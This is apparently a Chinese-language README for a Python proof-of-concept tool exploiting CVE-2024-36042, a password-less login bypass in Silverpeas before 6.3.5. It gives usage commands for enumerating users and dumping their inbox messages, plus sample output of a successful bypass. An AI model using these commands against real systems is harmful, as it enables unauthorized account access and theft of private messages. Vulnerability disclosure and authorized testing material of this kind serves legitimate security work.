针对 Silverpeas < 6.3.5 中 CVE-2024-36042 身份验证绕过的 Python PoC。具备版本检测、多线程用户枚举、消息提取以及结构化报告功能,适用于授权安全测试。
一个简洁、专业级的 Python3 概念验证工具,针对 CVE-2024-36042 —— Silverpeas < 6.3.5 中的身份验证绕过漏洞,该漏洞由
AuthenticationServlet缺少密码验证所致。
Silverpeas AuthenticationServlet 即使在 POST 请求体中省略 Password 参数时也会接受登录请求,从而为任何已知用户名授予经过身份验证的会话访问权限。该工具通过模块化、多线程的漏洞利用框架,以负责任的方式演示该漏洞,并具备高级侦察、数据提取和专业报告生成功能。
受影响版本: Silverpeas < 6.3.5
CVE: CVE-2024-36042
GHSA: GHSA-qvh3-8c57-gp4m
git clone https://github.com/YOURNAME/Silverpeas-AuthBypass-CVE-2024-36042.git
cd Silverpeas-AuthBypass-CVE-2024-36042
pip install requests beautifulsoup4
python3 CVE-2024-36042.py -t http://TARGET:8080 --dump-messages
python3 CVE-2024-36042.py -t http://TARGET:8080 -u admin --dump-messages --message-output both
python3 CVE-2024-36042.py -t http://TARGET:8080 --userlist users.txt --dump-messages --message-output files --output-format md --outdir ./loot
python3 CVE-2024-36042.py -t http://TARGET:8080 --check-version --no-exploit
python3 CVE-2024-36042.py -t http://TARGET:8080 --proxy http://127.0.0.1:8080 --dump-messages --save-raw-html
该工具通过 --message-output 支持四种主要的转储消息输出模式:
console(默认):直接在终端中打印清理后的消息,并带有关键词高亮。markdown:为输出目录中的每个账户生成单独的 {username}_messages.md 报告。files:为每个账户创建一个文件夹,并将每条消息保存为单独的文件(例如 message_0006.md),使用零填充 ID 以确保文件系统排序整洁。both:同时使用 console 和 markdown 模式。outdir/
├── SilverAdmin/
│ ├── message_0001.md
│ ├── message_0002.md
│ ├── raw/ (optional: --save-raw-html)
│ │ └── msg_1.html
│ └── session_cookies.txt
├── scr1ptkiddy/
│ ├── messages.md
│ └── session_cookies.txt
└── summary.json
-t, --target Base URL of Silverpeas (required)
-u, --user Single username to target
--userlist File with one username per line
--dump-messages Scrape and display inbox messages
--max-id Max message ID to check (default: 50)
--threads Concurrent workers (default: 5)
--proxy HTTP proxy URL
--message-output Output mode: {console, markdown, files, both}
--output-format File format: {md, txt}
--json Export full JSON report
--csv Export CSV of scraped messages
--outdir Output directory for exports
--no-color Disable ANSI color output (useful for logs)
--save-raw-html Save original HTML responses for debugging
--check-version Fingerprint version only
--no-exploit Skip exploitation (pair with --check-version)
--quiet, -q Minimal output
--no-banner Suppress banner
[*] Target : http://10.49.169.44:8080
[*] Version : 6.3.1
[+] Version 6.3.1 < 6.3.5 - vulnerable.
[*] Trying: scr1ptkiddy
[+] BYPASSED -> scr1ptkiddy
[+] Data saved to ./scr1ptkiddy
────────────────────────────────────────────────────────────────────
Execution Summary
────────────────────────────────────────────────────────────────────
┌───────────────┬──────────┬──────────┐
│ Account │ Status │ Messages │
├───────────────┼──────────┼──────────┤
│ scr1ptkiddy │ SUCCESS │ 6 │
│ admin │ FAILED │ 0 │
└───────────────┴──────────┴──────────┘
[+] JSON report -> ./report_20260516_013210.json
这个仓库是我攻防安全作品集的一部分。它展示了:
本工具仅供授权安全测试、研究和教育目的使用。未经授权访问计算机系统属于违法行为。在测试任何不属于你的基础设施之前,请务必获得明确许可。
MIT
| 功能 | 描述 |
|---|
| 版本检测 | 利用前先识别 Silverpeas 版本及漏洞状态。 |
| 多线程 | 通过 ThreadPoolExecutor 进行并发用户枚举,并进行线程安全的输出。 |
| 高级发现 | 多语言(英文/法文)端点发现,支持多 ID 探测。 |
| 数据提取 | 高保真消息转储,支持去重和样板过滤。 |
| 灵活输出 | 支持控制台、Markdown 报告以及单个文件导出(.md 或 .txt)。 |
| 代理与调试 | 通过 Burp/ZAP 路由(--proxy),并保存原始 HTML 以供解析器调试。 |
| 简洁用户体验 | ASCII 汇总表、关键词高亮以及可选的 ANSI 颜色控制。 |